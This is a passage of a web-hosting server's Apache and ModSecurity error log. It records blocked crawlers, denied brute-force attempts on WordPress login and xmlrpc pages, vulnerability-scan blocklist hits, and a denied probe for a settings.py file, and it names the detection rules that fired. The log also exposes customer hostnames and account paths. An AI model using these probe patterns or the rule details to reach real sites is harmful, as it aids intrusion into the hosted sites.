"pys.tlq.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3yQSmiP80klyS0NnoXDwABEC4"] [Sat Jun 13 18:13:53.265995 2026] [security2:error] [pid 531155:tid 531344] [client 114.119.144.233:61963] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "drebok.com"] [uri "/penis-suck/"] [unique_id "ai3yQSmiP80klyS0NnoXGQAAAUU"], referer: http://www.mason-associates.com/sandbox/mumy-tube/ [Sat Jun 13 18:13:53.294871 2026] [security2:error] [pid 531155:tid 531374] [client 114.119.136.134:52757] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "crayons-couleur.com"] [uri "/index.php/cc_gallery/sm-light-2"] [unique_id "ai3yQSmiP80klyS0NnoXHAAAAWM"], referer: https://crayons-couleur.com/index.php/page/8?term=6&orderby=date&order=DESC [Sat Jun 13 18:13:53.314422 2026] [access_compat:error] [pid 531155:tid 531168] [remote 185.177.72.9:29702] AH01797: client denied by server configuration: /home3/bradgore/public_html/settings.py [Sat Jun 13 18:13:53.326836 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.18:35380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:53.327107 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.18:35380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:53.431305 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.99:52454] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:53.431802 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.99:52454] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:53.473734 2026] [security2:error] [pid 531155:tid 531197] [remote 17.241.219.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQSmiP80klyS0NnoXKAABQCk"] [Sat Jun 13 18:13:53.475756 2026] [security2:error] [pid 531155:tid 531279] [remote 110.249.201.238:40850] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product-tag/%E0%B8%A3%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%97%E0%B9%89%E0%B8%B2-safety/page/13/"] [unique_id "ai3yQSmiP80klyS0NnoXKgABIHs"] [Sat Jun 13 18:13:53.479454 2026] [security2:error] [pid 531155:tid 531158] [remote 17.246.15.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQSmiP80klyS0NnoXLAABfwI"] [Sat Jun 13 18:13:53.623549 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:53.623847 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:53.711485 2026] [security2:error] [pid 531155:tid 531286] [client 114.119.144.222:62119] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.camera-roll.com"] [uri "/goldeneye-review/"] [unique_id "ai3yQSmiP80klyS0NnoXOAAAAQs"], referer: https://www.camera-roll.com/goldeneye-review/ [Sat Jun 13 18:13:53.739373 2026] [security2:error] [pid 531155:tid 531156] [remote 103.127.30.137:55776] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3yQSmiP80klyS0NnoXOwABCgA"], referer: https://pys.tlq.mybluehost.me/wp-login.php [Sat Jun 13 18:13:53.747365 2026] [security2:error] [pid 531155:tid 531298] [client 114.119.138.214:44195] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.alexandermagic.com"] [uri "/video.html"] [unique_id "ai3yQSmiP80klyS0NnoXQAAAARc"], referer: http://www.alexandermagic.com/video.html [Sat Jun 13 18:13:53.748482 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.113:37734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:53.748839 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.113:37734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:53.787040 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.8:30531] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:53.787287 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.8:30531] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:53.908759 2026] [security2:error] [pid 531155:tid 531321] [client 114.119.129.22:45441] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "nmarl.com"] [uri "/product-category/1wine"] [unique_id "ai3yQSmiP80klyS0NnoXVAAAAS4"], referer: https://nmarl.com/press [Sat Jun 13 18:13:53.923487 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.6:20112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:53.923944 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.6:20112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:53.992914 2026] [autoindex:error] [pid 531155:tid 531303] [client 3.249.110.195:47040] AH01276: Cannot serve directory /home2/todadata/public_html/website_29909693/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:13:54.122626 2026] [security2:error] [pid 531155:tid 531348] [client 172.56.168.133:58849] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yQimiP80klyS0NnoXZgAAAUk"] [Sat Jun 13 18:13:54.127515 2026] [security2:error] [pid 531155:tid 531348] [client 172.56.168.133:58849] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yQimiP80klyS0NnoXZgAAAUk"] [Sat Jun 13 18:13:54.152394 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Nw== [Sat Jun 13 18:13:54.152839 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Nw== [Sat Jun 13 18:13:54.333286 2026] [security2:error] [pid 531155:tid 531392] [client 114.119.136.86:37021] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "domakshelter.com"] [uri "/home/property_area/azonobi-court/"] [unique_id "ai3yQimiP80klyS0NnoXdwAAAXU"], referer: https://domakshelter.com/home [Sat Jun 13 18:13:54.454153 2026] [security2:error] [pid 531155:tid 531167] [remote 17.22.253.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQimiP80klyS0NnoXgAABgQs"] [Sat Jun 13 18:13:54.554844 2026] [core:error] [pid 531155:tid 531333] [client 47.79.201.42:25710] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:54.554870 2026] [core:error] [pid 531155:tid 531333] [client 47.79.201.42:25710] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:54.620938 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.11:53077] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:54.621217 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.11:53077] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:54.647780 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:54.648054 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:54.675739 2026] [security2:error] [pid 531155:tid 531263] [remote 17.241.219.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQimiP80klyS0NnoXiQABa2s"] [Sat Jun 13 18:13:55.203300 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jay9wb3dlcg== [Sat Jun 13 18:13:55.203579 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jay9wb3dlcg== [Sat Jun 13 18:13:55.263369 2026] [security2:error] [pid 531155:tid 531258] [remote 17.246.19.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yQymiP80klyS0NnoXqwABEmY"] [Sat Jun 13 18:13:55.329382 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.33:33719] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:55.329673 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.33:33719] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:55.509728 2026] [security2:error] [pid 531155:tid 531325] [client 114.119.138.33:57423] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.wealthygames.com"] [uri "/games/pixi/pixi.js/node_modules/karma/node_modules"] [unique_id "ai3yQymiP80klyS0NnoXugAAATI"], referer: http://www.wealthygames.com/games/pixi/pixi.js/node_modules/karma/node_modules?C=M%3BO%3DA [Sat Jun 13 18:13:55.737077 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:13:55.737350 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:13:55.775172 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.83:30418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:55.775614 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.83:30418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:55.781376 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.8:30547] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:55.781809 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.8:30547] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:55.862300 2026] [lsapi:warn] [pid 531155:tid 531340] [client 37.122.153.219:44318] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:13:56.021751 2026] [security2:error] [pid 531155:tid 531207] [remote 45.236.128.46:51938] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yearlingrv.com"] [uri "/wp-login.php"] [unique_id "ai3yRCmiP80klyS0NnoX2QABGjM"] [Sat Jun 13 18:13:56.111964 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.98:43352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:56.112394 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.98:43352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:56.281985 2026] 